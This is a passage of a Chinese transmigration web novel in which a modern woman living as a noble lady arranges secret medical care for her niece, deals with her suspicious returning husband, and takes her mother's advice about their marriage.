林氏苦笑,话是这么说,但谁家娶媳妇不是等着抱孙子,那严氏可是贤惠人,苏国公屋里小妾通房可不少。
最近她已经在明里暗里地点拨窦明该给苏通添人了,只怕过不了多久,她就要送人了。
窦明都不知哭过多少次,她和苏通正是恩爱之时,那里能受的了夫妻之间再横插一人。
说着林氏就红了眼睛,她偏过头擦拭。
卫姜没有说话,因为林氏的担心是真的,书中虽然没怎么提过窦明,但从女主的角度看苏家,卫姜记得,好像苏通确实有不少妾室。
这窦明好像最后结局也不怎么好,还是女主看在窦绍的面子上多番维护她,不然她在苏家的日子只怕更难过。
“那大嫂是要我做什么?”
林氏转过头,把绣帕收起,往卫姜这边靠了靠,低声恳求道:“我想请弟妹出面,请黄院判给明儿瞧瞧。”
黄院判精通女科,宫里那些嫔妃们的胎有不少可都是他保的,只是没有宫里的旨意,他一向是不出宫的,林氏一直都想请他来给窦明看看,苦于没有门路。
最近卫姜和宫里走的近,让她忽然看到了希望,如今她更是又获封了县主,林氏是想卫姜出面请人。
林氏说完有些忐忑地看着卫姜,生怕她不同意。
“这是小事,我明日进宫走一趟就是了,只是让黄太医直接去苏府还是……”
林氏没想到她这么痛快就答应了,真是喜不自禁,但听到让太医直接去苏府她连忙摇头。
不能去苏府,她为什么私底下请大夫给女儿看病,还不是怕苏家拿住了把柄,万一女儿真的有什么不妥,可就一点转圜的余地都没有了。
到时候严氏要做什么还占了大面,她们什么话都不能说。
“那让他去侯府?”
这也不妥,林氏还是摇头,窦明前些日子才回过娘家,立马又让人去接她,以严氏的精明怕是立马就猜到了。
这也不行,那也不行,总不能把人家太医院的太医请到街边看病吧。
林氏看卫姜脸色有些不快,连忙道:“不如去我娘家吧,我让我母亲装个病,明儿去探病也说的过去。”
卫姜有些一言难尽的看着林氏,可真是个孝女,林家也是大家族,要保住秘密只怕也没那么容易。
她静默了一会,开口道:“也不用惊动你娘家了,这事我来办。”
既然林氏想要保密,那宫里也不能提窦明的名,严氏可是皇后的堂妹,卫姜准备以给陶氏看胎为由把黄院判请来府中,到时候她在随便找个借口把窦明叫来。
她是婶娘,叫侄女来玩也不怕苏家怀疑,何况如今她可是县主,这份薄面还是有的。
“那就办个赏梅宴好了,多请些人,不会有人多想。”
也许大家都像张氏说的那样,以为卫姜是炫耀呢。
林氏喜极而泣,激动的有些语无伦次了,原以为起码要求上好几次她才会应,没想到……
“真是多谢弟妹了,我……我都不知道说些什么了,我替明儿谢谢你这个婶娘,以后我定让她好好孝顺您老人家。”
谢了!她还不是老人家
“她也是我侄女,说什么谢不谢的。”
可能看到林氏眼中的惊讶,卫姜在后面加了两句,以保持住她难搞的人设。
“我不喜欢严氏你又不是不知道,只要让她不开心的事情,我都乐意做。”
这就是了,林氏心底的狐疑彻底消散了,来之前她不也是准备拿两人的恩怨来刺激卫姜吗
说要开宴,那就不是简单的一句话了,还要长佩能干,事事安排的妥当。
府里上下也清扫了一边,特别是后园,重点维护了下那几株梅花。
在宴客之前,卫姜总算是把遗留问题给解决了,关在柴房的卧龙凤雏被送去了城外的庄子上。
她交代庄子上的人不要为难她们,去留随意,只是,她们再也不能回府了。
腊月初十,卫姜请客的日子到了。
要不是卫姜的独子已经娶妻,别人都要猜测她是为了看儿媳了,原因无他,只因她这次请的客人都是年轻小姑娘小媳妇。
那些和她同辈的夫人太太们,她是一个都没请,众人都很是不理解,也不知道她这又是犯什么病了。
窦明脸有些红,低头跟着卫姜去了陶氏的院子,黄院判已经等在那里了。
半盏茶后,黄院判诊完了脉,又细细询问着窦明一些事情,她也看过不少大夫,对黄院判的问题也是有问必答。
随着黄太医的眉头越皱越紧,窦明脸色都白了。
黄太医凝思了半响,转头见窦明一脸灰白,眼神都暗了,就知道她是误会了,他微笑道:“这不是什么大病,我刚是想事情去了,不是因为你的病情,你的病好治。”
窦明脸这才恢复了血色,鼻子一酸,眼泪就要掉下来了。
黄太医笑呵呵地安抚好她,这才叫卫姜把窦明送出去。
等人走后,随着黄太医叹了口气,卫姜的心都提起来了,难道真没得治?刚刚那是情绪安抚?
“县主别误会,这位少夫人的病不重,只是……”他顿了一下才说道:“要是最
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初,她喝上几剂药也就好了,倒是如今耽搁了,她之前喝了好些庸医开的药方,现在有些棘手。”
卫姜连忙追问:“那还能治好吗?”
“自然是可以,就是花费的时间要久些,老夫要先给她把身子调养过来,这才能开始治病。”
因为之前卫姜请他时跟他说病人被婆家逼迫,今年不生孩子就要被休回娘家,所以黄院判才愁,想要彻底治好生孩子,起码要半年时间,那今年定然是生不了孩子了。
卫姜汗颜,她故意把窦明说的凄惨点,也是为了激起他的医者慈悲心,能让他使出浑身本事,她有些愧疚,没想到黄院判是愁这个。
“只治好就行,时间不是问题。”她故意摆出蛮横的表情,“有我出面,谅她婆家也不敢做什么。”
黄院判张了张嘴,他还有什么不明白的呢。
县主定然之前是故意骗他的,也是,能让县主出面让他诊治的人,只怕也不是真的普通人家。
黄院判在宫里几十年,太知道有些事情不能好奇了,他低头赶紧写好方子递给卫姜。
“先用这个方子吃上半个月,半个月后我再来府上诊脉。”
老头的眼神一下子变得睿智,这才卫姜有些尴尬,她接过药方让人给窦明送去,又让人送上丰厚的诊金,吩咐窦景亲自去送人。
卫姜抬脚要离开,眼神瞟到缩在一旁当隐形人的陶氏,忽然想到她的肚子:“黄院判怎么说?孩子可还好?”
陶氏双手抱着肚子,瑟缩看了下卫姜,才开口道:“太医说以前都好。”
卫姜点头,知道她害怕自己,也就离开了
卫姜一走,陶氏身子一松,她的乳娘把她扶到旁边坐下。
“少奶奶也不用这么害怕,我看夫人最近脾气变好了很多。”
陶氏摇头,“我还是害怕,她的眼睛一看过来我就发抖。”
乳娘也叹气,一个府里住着,少爷也不可能时时都在身边,少奶奶这么紧绷着,对肚子里的孩子也不好啊。
要是能回陶家住一段日子该多好,可她也知道这是不可能的。
走出不远的卫姜也在想这个事,陶氏被原主吓坏了,自从上次之后,她连院子都不出了,今日家里开宴,她也不敢出去,这样下去,怕是会出问题。
还是要让她心情放松起来。
卫姜说是开宴,但其实她只是露了两面,迎客的时候和送客的时候。
不过这次party圆满成功,宾主尽欢,没有她的招待,有没有长辈们在,这些年轻姑娘们玩的更自在了。
离开时她们一个个喝的脸色晕红,都喜笑颜开地奉承讨好着卫姜,只是希望她下次在举办一次这样的宴会。
毕竟,在上京只有卫姜这个新宜县主敢这样请客。
天才刚刚黑下来,卫姜就滚到暖和的被窝里去了,也不知道睡了多久,迷迷糊糊中她好像听到有动静。
可她太累了,实在清醒不过来,听到长佩好像在叫她,卫姜把被子拉过头顶,彻底隔绝到这恼人的声音。
睡的太早也有坏处,那就是容易被尿憋醒,卫姜抖抖索索从被子里跳起,趿起绣鞋就往耳房跑,就连屋里比平日里多亮一盏烛火都没有注意到。
解决掉需求一身轻松,卫姜漫不经心地打着哈欠回转,刚准备倒一杯水喝,耳边响起一道阴测测地男声。
卫姜大声尖叫,手里的杯子茶盏都扔了出去。
“鬼啊!长佩,救命!”
8. 第 8 章
卫姜也不知道昨晚什么时候又睡过去的,醒来时已经快辰时,她看向屋里,没有人。
蓝心和田彩听到动静这才进来服侍。
卫姜实在是难以忽视两人那不时飘来探究的目光,她叹了口气,也不能怪她昨晚闹的动静,任谁房里忽然出现个陌生的男人也会害怕不是。
对,她是知道窦绍要回来了,也做好准备了,可她没想到会这么快,还半夜三更回来,回来就算了,还摸到了她的卧房。
卫姜已经完全忘了,这也是窦绍的卧房。
事情太突然,也太抓马,卫姜其实都没有看清窦绍的样子,原主的记忆里,他的模样也是模糊的,只是觉得整个人跟冰一样,冷清清能冻死人。
“人呢?”
两人都明白她问的是谁,蓝心回道:“大人一早就进宫去了。”
卫姜点头,人家公务员,要上班打卡,不像她,现在是无业游民,也不对,她是县主,也有工资,最多算是全职夫人。
这穿越最大的好处就是不用每天在闹钟声中惊魂未定地早起了,也不用做个苦哈哈的牛马,日夜不停的搬砖。
她现在可是很有钱的!原书中也是肯定过她的财力,原主性子不好,财力可是杠杠的。
做个富婆真好,想买就买,说到这个,她忽然想起一件事。
“新的衣裳都做好了吗?”
原主那些沉闷的衣服她实在是受够了,自从肯定自己短时间是回不去后,她第一件事就是买买买,绝不亏待自己,她也绝不认老,就算是做了婆婆,当了祖母,她也是一枝花。
所以她狠狠地做了好些衣裳,那些太老气的颜色统统不要,还专门选了一些喜庆鲜艳的颜色,还有首饰,她也购置了一些,不过原主留下很多好东西,卫姜觉得都挺不错的。
只是有一点很奇怪,原主明明喜欢的是玉饰,为何她还收藏了那么多精巧金饰,但这些都便宜了卫姜,黄金哎,还有那些红玛瑙,绿宝石的,实在是亮瞎她的眼,她每天不重样的戴,都能戴个一年半载。
田彩笑着从内室拿出两套新做好的衣裳,“这是针织房的人刚刚送来的,剩下的那些怕是没那么快。”
最近主子们都回来了,加上少奶奶那边也要准备小小少爷的东西,针织房人手有些不足,那些绣娘们晚上都在点灯赶工。
蓝心走过去帮着田彩一起撑开,好让夫人能看的更仔细些,“请县主今日不如就选一套穿吧,这些衣服好看,县主穿上肯定更美。”
蓝心的嘴巴很甜,卫姜也忍不住吃了这个马屁,实在是衣服确实很美,她看了又看,指了一种一套暗黄色,“就这个吧。”
可眼睛还盯着另一套银红色,明明更喜欢那一套,田彩机灵道:“我倒是觉得夫人今日更适合银红色。”
人逢喜事精神爽,府中的男主人回来了,夫人穿这银红更应景。
卫姜摇头,就是因为大家这么想,她才不愿意选那银红。
窦绍回来对她来说,是噩梦!
卫姜刚用完不算早的早膳,长佩脸色有些奇怪地进来了,在她耳边低声道:“县主,全贵和顺才来给您回话。”
她愣了半天才想起这两人是谁。
全贵和顺才听到脚步声,立马恭顺地跪伏在地上,眼角瞟过精致的裙角,两人的头又低了几分。
“起来吧,你们也辛苦了,可是有什么事”
没想到县主今日这么反常,竟然没有发怒,两人请罪讨饶的话被倒灌了回去。
全贵比顺才小几岁,性子还有些跳脱,不由地抬了下头看上首的主子,不想这一眼竟让他心中大骇不已。
这哪里是以前那阴晴不定,满脸疯狂的夫人,眼前的人脸上带着亲和的笑,打眼看去是那么的明艳高贵,皇家县主的气派体现的淋淋尽致。
两人内心更是忐忑,他们手心里都开始冒汗了,对着县主的询问,他们竟然有些慌张。
这两人是原主派去窦绍身边的眼线,为了不塌人设,她怎么都得问上几句。
“大人那边有什么事吗?”
顺才年长些,是卫姜从卫家带来的老人,他也最得卫姜信任,自然是他先回话:“回县主,大人身边一切正常,除了公事之外他都很安分,身边也没有不三不四的人出现。”
卫姜差点被口水呛住,安分?这是把窦绍当贼一样防了。
全贵也拍着卫姜的马屁:“大人想必也知道县主的本事,绝对不敢起歪心思,这次信王带了个女子通行,我们家大人看都不敢看一眼,那信王还想求我们大人帮着他安置,大人哪里敢,立马就给拒绝了……”
卫姜打断了他的话,“你说什么?他们还带了一位女子回京?叫什么?多大年纪?”
见县主脸色都变了,两人心中打鼓,难道大人身边十丈之内只要出现女子,县主就不放心吗?
顺才瞪了一眼全贵,责怪他刚刚就不应该说这件事,如今夫人问起,他们也不敢隐瞒,只是大人要遭了,恐怕县主又要闹起来了。
“哪位姑娘姓葛,叫什么小人们就不清楚了,看着十七八岁的年纪,信王就是她所救,听说信王带她进京是为了帮她寻找亲人,我们大人不认识这位姑娘”
顺才尽量把这位葛姑娘往信王身上推,虽然他家大人也确实跟这个姑娘不熟,但就怕县主会多想。
还真是女主,这是怎么回事,怎么窦绍提前回来,这女主也提前回来了,她不是应该明年才上京寻亲吗?
卫姜狐疑地看向两人:“他们真的不熟?“
两人齐齐摇头,“大人和她都不认识,只是听信王提过几次。”
卫姜不信两人的话,在书中这两人早就倒向窦绍了,所谓的眼线也就是糊弄原主,提供的情报没有一次是有用的。
叛徒的话不能信,窦绍怎么可能不认识女主,要是不认识,女主怎么会上京寻亲。
要知道书中女主之所以知道她是苏家的女儿,也是因为窦绍告诉了她身上那块玉佩的来处。
那玉佩是严家之物,是严家嫡女的身份象征,这一辈的严家嫡女只有两个,一个在宫里,一个在苏家。
宫里的皇后自然是不可能是她的母亲,那就只能是苏家了,确定了目标查起来就容易的多,女主才会顺利地认祖归宗。
卫姜知道他们嘴里也说不出什么,挥手让他们先下去。
两人松了口气,还因为今天必然要吃个挂落,没想到有惊无险,退出去时迎面碰上了窦景,两人停下给他行礼。
窦景冷着脸进了花厅,见卫姜撑着头歪在案几上,心里的怒火忽然间又下去了。
母亲也是太紧张父亲,才会这么患得患失,他作为儿子应该劝劝。
“娘,您应该相信父亲,不应该安插人盯着他,父亲要是知道了会不悦的,父亲人品贵重,不可能做对不起您的事情,你所担心的不会出现,要是他真想给我换个娘,您就是派人盯着也没用。”
卫姜还在想原书的剧情,不妨便宜儿子忽然出现对着她劈头盖脸就是一顿输出。
对着这张帅脸,她有些无力,她已经习惯他脱离书中人设了,这可真是个“孝子。”
卫姜不想和他争,只要她一开口,他就又一大堆道理等着你,加上
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他嘴又毒,她实在是难以招架,惹不起她躲的起。
“对对对,你说的都对。”
这万能的敷衍词,连古代人都会破防,窦景被堵的脖子都红了,眼看又要输出,卫姜立马转移话题:“你怎么来了?”
这些日子他除了外出读书,就是窝在西苑陪宝贝媳妇,今天怎么有空来这里。
窦景被打断了话,有些泄气道:“爹让我来的。”
可能是被事情绊住了,窦绍还没有回来。
卫姜见状,立马起身道:“那你等吧,我回去歇歇。”
说完就赶紧溜了,真是怕了他。
窦景有些没反应过来,若是他没有记错的话,他娘才刚起来没多久吧!
“怎么了?在想什么?”
窦景回头,是窦绍回来了,身上的公服都没有换,他让儿子先去书房等,他稍后就过来。
卫姜也不可能真的再去睡觉,她也是有很多事情要忙的,比如窦绍带回来的很多东西她都要收拾,该入库的要入库,该送给亲友的土仪也要安排。
虽然只是站在那里指使人也是很累的好吧,等理清了头绪,她就先带人回了,留下长佩一个人盯着。
“我要躺躺,午膳不用叫我了。”她很饱,不想吃饭,只想午休。
卫姜推门进了内室,田彩正要跟上去伺候却被留在院里的蓝心一把拦住了。
她朝田彩摇头,又指了指里面。
卫姜已经习惯这屋子是她的地盘,她已经忙的忘了昨夜的事情,所以当她再次看到一个帅哥在换衣服时,她差点又要大叫。
还好,在窦绍看过来时,她及时捂住了嘴巴。
青天白日的换什么衣服,还那么撩人,这男人勾引人!
阳光从窗外照进来,正好打在窦绍的脸上,让他俊朗的面容添了上了几分神光!
她应该猜到的,有个那么帅的儿子,做老子应该不差,但没想到会这么帅!一把年纪了魅力丝毫不弱,甚至比他儿子更帅了。
那清冷的眼神,看的卫姜心怦怦跳!
“县主?”窦绍靠近卫姜,眼神带着询问?
卫姜连呼吸都放缓了,他越靠近,她觉得自己的脸都要烧起来了。
救命,美男撩我,犯规!
其实卫姜想多了,窦绍只是觉得她奇怪,所以靠的近一点看她,只要她多看一眼窦绍,就回发现他眼底深处的冷意和狐疑。
人走后,卫姜把自己的头埋在被子里,心里嗷嗷叫,天啊,比那些明星还帅啊!
她理解书中的原主为什么那么偏执与疯狂了,这要是自己的老公,她也不会放手啊!
难怪原主见过他一面后,就要嫁给他,要不是她的外祖母大长公主出面,窦绍还真不一定娶她!
卫姜摸了摸胸口,还是有些快!快别跳了,帅哥是好,可人家是女主的。
她揉了揉脸,想自己清醒过来,不能被美色所迷,别忘了目标,回家!回去大把帅哥等着自己!
书房中,窦绍让儿子在他对面坐下。
“陶氏和孩子可还好?”
窦景回道:“一切都好,太医开了药,让她静养。”
“你母亲可有为难她?你如今也快做父亲了,也要学做承担为人夫为人父的责任。”窦绍继续说道。
窦景点头,“父亲放心,儿子知道了,母亲这些日子也变了很多,对阿陶也没有那么针对了。”
说到卫姜,窦绍眼中闪过疑惑,便问道:“你娘她可有什么不一样的……”
话都没说完,窦景满脸正色点头:“有,娘很不对劲。”
9. 第 9 章
窦家今日算是吃了个团圆饭,氛围实在是有些怪异,除了父子俩偶尔说几句外面的事情,其余时间桌面上安静的有些过分,卫姜一味的低头干饭,头都没抬一下,陶氏跟个隐形人一样,动作小心翼翼,夹一下菜都要下意识看一下婆母。
这下卫姜更是不能抬头了,好不容易熬到吃完,却有更大的难题在等着她。
晚上该怎么睡?
昨夜事出突然,今日卫姜可是清醒地很,要跟个陌生男人躺一张床上,她有些担心,也害怕。
主要是担心自己不够矜持,毕竟窦绍是真的长得好,她害怕自己会干出些不是人的事,那可怎么办?
不是说这俩夫妻早就分房睡了吗?昨夜就体谅他来不及收拾,可今日难道也不收拾。
卫姜坐在床上,听着耳房传来的动静,窦绍正在梳洗,听着快要出来了,她咬了咬嘴角,刺溜一下缩进里面,把被子盖的严严实实。
窦绍听着帐子里发出轻轻的呼噜声,擦头发的手顿了一下,他看了一眼床上,里面掩的严严实实,只隐约能看出个人影。
眼神中带着淡淡的疏离,他转个方向,去了外间。
卫姜听到脚步声,抬起头往外看,确定人不在屋里了,她松了口气,昂头倒在软枕上,手脚摊的大大,这样才舒服嘛,翻了个身,左腿探出去搭被子上,眼皮耷拉,睡意涌了上来。
窦绍忙完已接近子时,他揉了揉脖子,起身灭了外间的烛火,内室只留有一盏豆油小灯,方便晚上起夜。
窦绍等了一会适应了这昏暗的环境这才掀开帷帐,只见卫姜睡的四仰八叉,他明显一愣。
还好床够大,外面刚好还能躺一个人。
窦绍动作很轻躺下,双手交叉放在腹部,很是笔直,像一根木桩一样。
明明很疲惫了,可听着旁边细细的呼吸声,他怎么都睡不着,甚至有些烦躁。
他闭眼强迫自己入睡,这才刚回京,若是他立马去前院睡,只怕她又要闹,别人又要猜测他们夫妻怎么了,他实在厌恶别人议论他的家事,不过今夜她能这么安静很湿让他意外。
难道真如景儿所说,她病了一场性子大变了?
江河易改本性难移,窦绍是不太信的,也许是因为她那个奶嬷嬷不在身边,少了身边人的撺掇,又或者,她在打着其他的主意,如今一切都是没达到目的前的忍耐。
想到这里,窦绍脑子转动的更快了,她会打什么主意呢?
而且现在的卫姜和他印象中的太不一样,儿媳陶氏,太后,还有她的县主爵位,都在告诉他卫姜的变了。
窦绍是不会跟大家一样以为她的县主位是皇上看在自己面上还的,皇上既然把他叫回京城,那就不可能再补偿卫姜。
她的县主位只可能是凭她自己本事哄回来的,宫里又发生什么呢?
窦绍转过头看向那呼呼大睡的女人,她此时睡的犹如婴儿般的温馨与单纯,可醒着时却如疯子般的执拗偏激。
他嫌弃地转回头,下一刻肚子却接受了从天而降的重击,也不知道什么是时候她翻身把腿搭上来了,手臂也抱了过来。
窦绍整个人都木了,他们已经很久没有这么靠近过了,他第一反应是立马甩开她的脚。
卫姜在梦里刚把脚搭上沙发,正舒服着就被人推醒了,睁开眼就看到一张冷冰冰的脸,那脸好像别人欠了他几百万。
慢着,这张脸有点熟啊!
卫姜咻地坐起,竟然是先去擦嘴角,以为他是看见自己流口水了,后面才反应过来,自己好像是把他当抱枕了。
“不好意思哈。”她睡姿一向是有些差的,她的朋友们从来不肯和她睡,过年时候家里来客人,那些表妹们也是从不肯跟她睡一张床,宁愿窝在沙发上,可见她的睡姿有多豪放。
卫姜羞愧难当,果然没忍住,竟然睡觉都去占人家帅哥便宜,这死手死脚就不能忍忍吗?
不过……“你……你怎么就回来了。”
窦绍却以为她在说反话诘问,抿了下嘴角。
“刚刚去处理了些公务。”
声音有些清冷,这让卫姜睡成浆糊的脑子清醒了些。
敢情他刚才根本没走啊!
卫姜连忙往内挪,给他腾出一半的位置,又把越界的被子拉了回来。
“那……那早点睡吧,不早了。”
其实她也不知道什么时辰了,就随便那么一说。
窦绍嗯了一声,就闭上眼睛了。
这么个大活人躺在身边,卫姜那里还睡的着,刚开始她动都不敢动,忍了也不知道多久,预估着他应该睡着了,她才轻轻地转动了下身子。
卫姜有个毛病,她要是睡不着就很喜欢翻身,反正就是静不下来,也不知道翻到第几次,转头就对上一双清冷的眼直直地看在她。
差点没把她吓个半死,她拍了拍胸口,有些怪罪道:“你没睡着啊!”
窦绍:“本来快睡着了。”
言下之意是她把他吵醒了,卫姜有些不好意思,脑子一抽伸手在他身上拍了两下,哄孩子似的说道:“快睡吧快睡吧。”
下一刻两人都呆住了。
卫姜嗖的把手缩了回来,这死手又没控制住。
“那个……我……我闹着玩。”
窦绍见她耳后根都红了,整个人好像做错事一样缩进被子,这个样子让他有些拿不准她要干什么。
他以为她是想要……,毕竟他们是夫妻。
窦绍松了握紧的拳头,嗯了一声重新闭上眼。
受害者不追究,嫌犯松了好大一口气,又往里面移动,动作很小,一点点地往里挪。
却不知道在她转身后,窦绍又重新睁开了眼,静静看着她。
那么小心翼翼生怕会打搅到他,窦绍嘴角泛起讥笑,新宜县主什么时候在乎过别人,她一向心中只有自己,只要她乐意,别人怎么想根本不重要。
就比如他们的婚事,她看上了,那么就容不得别人拒绝,哪怕如今已成陌路,她也还是把他当成自己的所有物,窥探着他的以前。
想到这里,他心中竟然意外地涌起怒意,也翻了个身,声音惊动了另一个人。
“你也睡不着吗?”她声音很轻快,就好像找到了知音伙伴一样。
窦绍不想搭理她,没想到她竟然趴了过来,正好看到他不耐烦地睁眼。
“反正你也睡不着,不如……我们聊天吧。”
这是卫姜刚刚起的主意,如今女主提前进京了,是不是代表剧情也提前开始了,留给她的时间不多了,要早早的做准备。
她准备先从窦绍这里打探一下女主的情况,毕竟书里说的也不一定对,就比如窦景,书中描写的是个懦弱的妈宝男,现实却狠狠地给了她一巴掌。
一个舔舔嘴能把自己毒死的傲娇男,除了帅,一点都不像卫姜心中想要的儿子。
看她那双眼冒光兴奋的样子,窦绍后悔刚刚为什么要睁眼了。
“还是早点休息吧,明日还要去看岳母。”
这是晚膳时候商量好的,窦绍既然回来了,岳家还是要去一趟的,至于为什么要郑重的商量,当然是因为以前原主很是抗拒去娘家。
“你放心,不会耽搁的,我们就聊一会
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儿,也许说着话我就想睡了,我现在睡不着。”
你当然睡不着了,你刚刚才睡醒,窦绍半响都没有说话。
朦朦胧胧中,他竟然觉得那双眼格外的清亮,就如稚子一般的清澈。
“你想聊什么?”
窦绍有些惊讶,这话竟然是他说的。
卫姜笑的灿烂,往他这边躺近了一些,用一种在现代和闺蜜谈八卦时的语气问道:“听说跟你们一起回京的有位葛姑娘,她是什么人?”
他就知道!窦绍眼神变得有些冷。
他感到有些好笑,竟然也会觉得她有些变了,一开始他就不应该理她的,只要有女子出现在他身边,她就会这副样子,把那些人都当作敌人一般防范,如今竟然连小辈们都疑上了,她把他当成什么人了,在她心里他就如此龌龊下流嘛?
窦绍不知道为什么那麻木的心竟觉得有些冷。
“她是信王的救命恩人,我跟她不熟。”
他声音冷淡又疏离,可卫姜却丝毫没有发现,依旧兴致勃勃,还贴近了些:“我听说她医术很好,是神医的徒弟,是不是真的?”
窦绍有些厌烦,敷衍道:“是吧。”
卫姜好像又兴奋了一些,见窦绍闭上眼睛,好像要睡了,刚开始聊呢,怎么能睡,她用手把他拍醒。
她问出了最想知道的问题,“葛姑娘现在住哪里?”
今日顺才他们说过,之前信王拜托窦绍帮忙安置女主,可他拒绝了,那如今这位女主会在哪里?
书中女主是一年后才进京的,那个时候信王已经开府了,她是直接住进信王府的,所以才会如此顺利地接近苏家。
苏家可是京城顶级勋贵之家,信王如今住在宫里,根本不能给她台阶去接触苏家,那会不会影响她顺利认亲呢。
窦绍:“贺家。”
她怎么没想到,既然是信王的恩人,住在贤妃娘家也就说的过去了。
窦绍之所以有问必答,就是要看看她到底要做什么,可她好像真的只是好奇,并没有他想象中的逼问。
时间越久,随着她靠的越来越近,他鼻息间已全是她的温香,腻的人他胸口闷,窦绍的手紧了又松。
窦绍不想再配合了,在她又要转头发问时趁机翻了个身,拉远了和她的距离,同时他也学着之前卫姜的做法,打呼装睡。
“这么快就睡了。”卫姜嘟囔道,颇有些扫兴。
卫姜探头过去查看,她的发丝落在他的脖颈上,酥酥麻麻,窦绍手一下子抓住床边,这才没有乱了呼吸。
她躺了回去,窦绍长吁一口气,暗下决定,明日,明日就搬回前院。
贺家是贤妃的娘家,自然也是和苏家有往来,她记得今日好像刚收到苏家的帖子,三日后是苏青的生辰,苏家广下帖子为她庆生,想来女主也会去的。
“苏青的生辰也是她的生辰,那她会在那日去苏家认亲吗?”
苏青不小心把话说了出来。躺在一旁装睡的窦绍猛地看向她,眼神犀利警惕还有深深地不可置信。
就连信王也只查到葛姑娘的养母曾经在京城名门大族中做过乳娘,她为何会猜测是苏家?
不,她不是猜测,她是肯定!
窦绍呼吸有些乱了,她从哪里知道的这么清楚。
他想到儿子的话,他说娘变了很多,好像换了一个人,但他又说不清,只是感觉,好像一下子被剥夺了恶意。
窦绍一直忽略的一件事也冒了出来,她不应该这么早就注意到葛姑娘,顺才应该告诉过她,他和葛姑娘面都没见过。
是人变了,还是人换了!
10. 第 10 章
疑心生暗鬼,窦绍越是留心观察,越是发现身边的这个发妻陌生的可怕,还是那个人,一样的模样,一样的身段,可她言谈举止,还有心性简直和以前判若两人,哪怕她在刻意模仿以前的处事方法,可那些蛮横失礼的事情她做起来却是那么的可笑。
她连对着下人颐指气使的时候,眼里都是满满地心虚与愧疚。
不知不觉间府里下人已经没有那么以前那么畏惧她,他们知道如今的夫人也就是看着凶恶,犯了错她也就是责骂几句,很多时候都是轻拿轻放。
大家都在羡慕蓝心和田彩,两人算是赶上好时候了,要是以前,她俩早就因为各种小错被县主赶出去了。
次日,窦绍陪着卫姜去了定国公府卫家,前卫国公去世后,卫姜的兄长袭了爵位。
卫家兄嫂对自家妹子那是头疼的很,有时候也挺不想她回娘家的,不过对妹夫窦绍他们却很是欢迎。
就连宋氏脸上都多了几分笑意,卫姜的老娘襄阳郡主听说女婿要来,早早地就在等了
卫姜一家子在兄嫂的拥簇下过了垂花门,很快就到了卫母的住处。
窦绍还没有拜下去,卫母就让儿子扶他起来,慈爱非常地询问着他在外地的一切,他的生活起居,言语之中全是关心之意。
窦绍对长辈很是尊敬,有问必答,带着淡淡笑意,没有丝毫不耐,大概说了半个时辰左右的话,眼看卫母精神有些不济,卫国公带着妹夫去了前院说话。
宋氏借口说要去厨房看看酒席备的如何,把场地让给了母女俩。
等所有人都走了,卫母的脸色立马冷了下来,拿过拐杖就往暖榻走去,卫姜手忙脚乱地跟了上去,小心翼翼地搀扶着她。
“怎么?没气死我准备把我推倒摔死吗?”
说完甩开卫姜的手,还狠狠地瞪了她一眼。
卫姜有些冤枉,那些事不是她做的啊,她厚着脸皮又伸出手,嘿嘿讪笑几声。
看到这老太太就让她想起自己的妈妈,其实仔细看,两人还真有三分相像,不过她的妈妈没有卫母这么霸气,她的性子很软,在小辈面前也没有架子,永远是一张笑脸,卫姜甚至从来都没有看到过妈妈生气的样子。
不想卫母,看着就威严,看着就是家中的话事人,也许妈妈要是也是这样厉害的人,是不是能少受很多委屈。
卫姜眼底一热,情绪就控制不住了,她偏过头,泪珠洒落下来,有几滴掉到了卫母的手上。
见女儿哭了,卫母误会了,以为她是知道自己错了,板着的脸也缓和了下来,她无奈地叹了口气。
“现在知道哭了,你这个性子要是不改改,以后有你的苦日子过。”
卫母就生了一儿两女,长女是最得他们夫妻疼爱的,当初大长公主在世时也最疼她,也怪他们,把她宠的太过,让她的性子也左了。
“我还能活多久,你看看你,把所有亲近的人都得罪了,连你大哥如今也对你怨言不少,等我走了,谁还能给你撑腰,别看如今宫里把你的县主爵位又还回来,可你这性子不改,再次被褫夺也就是一句话的事。”
卫母的这些话更让她想妈妈了,以前因为自己迟迟不结婚让爸妈操碎了心,当时妈妈也是这么苦口婆心地跟她诉说着担忧,先不管其中的道理,只论妈妈的心,卫姜只要一想起,就想哭。
如果能回去,她会听妈妈的话,就算是结婚也可以。
反正不可能比现在还遭,想到这,卫姜哭的更伤心了。
卫母还是第一次见女儿哭的这么厉害,以前是撒泼的闹,可如今换成这么可怜兮兮的无声流泪,她的心像被拧了一样。
“现在还来得及。”卫母拉过她的手,父母爱子才会为她想的长远,才会为她时刻担忧。
“你这辈子最有眼光的一次也就是看中窦绍做你的丈夫,这强扭的瓜你摘下了,就算是不甜你也不能扔了不管,至亲至疏夫妻,你得学着改改脾气,试着去笼络他,这后半辈子你所有的依靠就是他了,女婿这个人心有沟壑,他有自己的野心,所以对家事他并没有投入太多精力,你不满,你闹,他也不放在心上。”
“但是阿姜,你要明白,他窦绍也不真是个软柿子能任你拿捏,你要是太过分了,他未必容得下你,万一到了那个地步,被你深深得罪的兄嫂会为你出头吗?”
卫母语重心长,算是揉开了给她讲道理,就怕女儿犯犟偏要对着来。
卫姜佩服这个老太太,眼神可真是犀利,一下子就看出了两人间的问题,可不就像她说的那样,自从原主惹上女主后就触碰到了窦绍的底线,原主越闹,窦绍就越狠,原主越狠,恶性循环,最后窦家才会那么惨烈。
老太太一语中的,窦绍何止不是软柿子,还是个硬邦邦的铁石心肠。
见卫姜低头不语,看着像是听进去了几分,卫母欣慰地点头:“你也别怕,如今你是县主,只要你不胡来,他窦绍也不敢真做什么,何况,我看得出来,他对你也不是全然无情分。“
刚刚在屋里,女婿时不时地就看向女儿,她这双老眼可看的一清二楚。
她继续说道:“何况你们有儿子,如今就要给你们添孙儿了,就算是为了体面,女婿都不会做的太过分,但……”老太太话锋一转,脸色变得郑重。
“你的性子要改改,好歹收敛几分,你是要做祖母的人了,不能动不动就使性子,闹腾的人仰马翻。”
卫姜满脑子都是卫母那句,他对你也不是全然无情分,这话从何说起啊,老太太一脸肯定,要不是她知道原书剧情,还真会被忽悠了,窦绍对她哪里有什么情分,两人比陌生人都还疏离。
这两天窦绍对着她时是不是散发冷意,那是嫌弃的不行,她只是迟钝,可不是没感觉。
“你倒是应个声。”卫母不满意她的低头不语,好歹让她知道到底听进去几分,还是说她又白费口舌了。
卫姜抬头,有些懵,对着卫母担心的眼神,她忽然就顺着点了个头,“我知道了。”
放心吧,她一定不会再重蹈书中的悲惨结局,窦绍也好,女主也罢,她不招惹就是了。
女儿总算是懂事了,卫母欣慰不已。
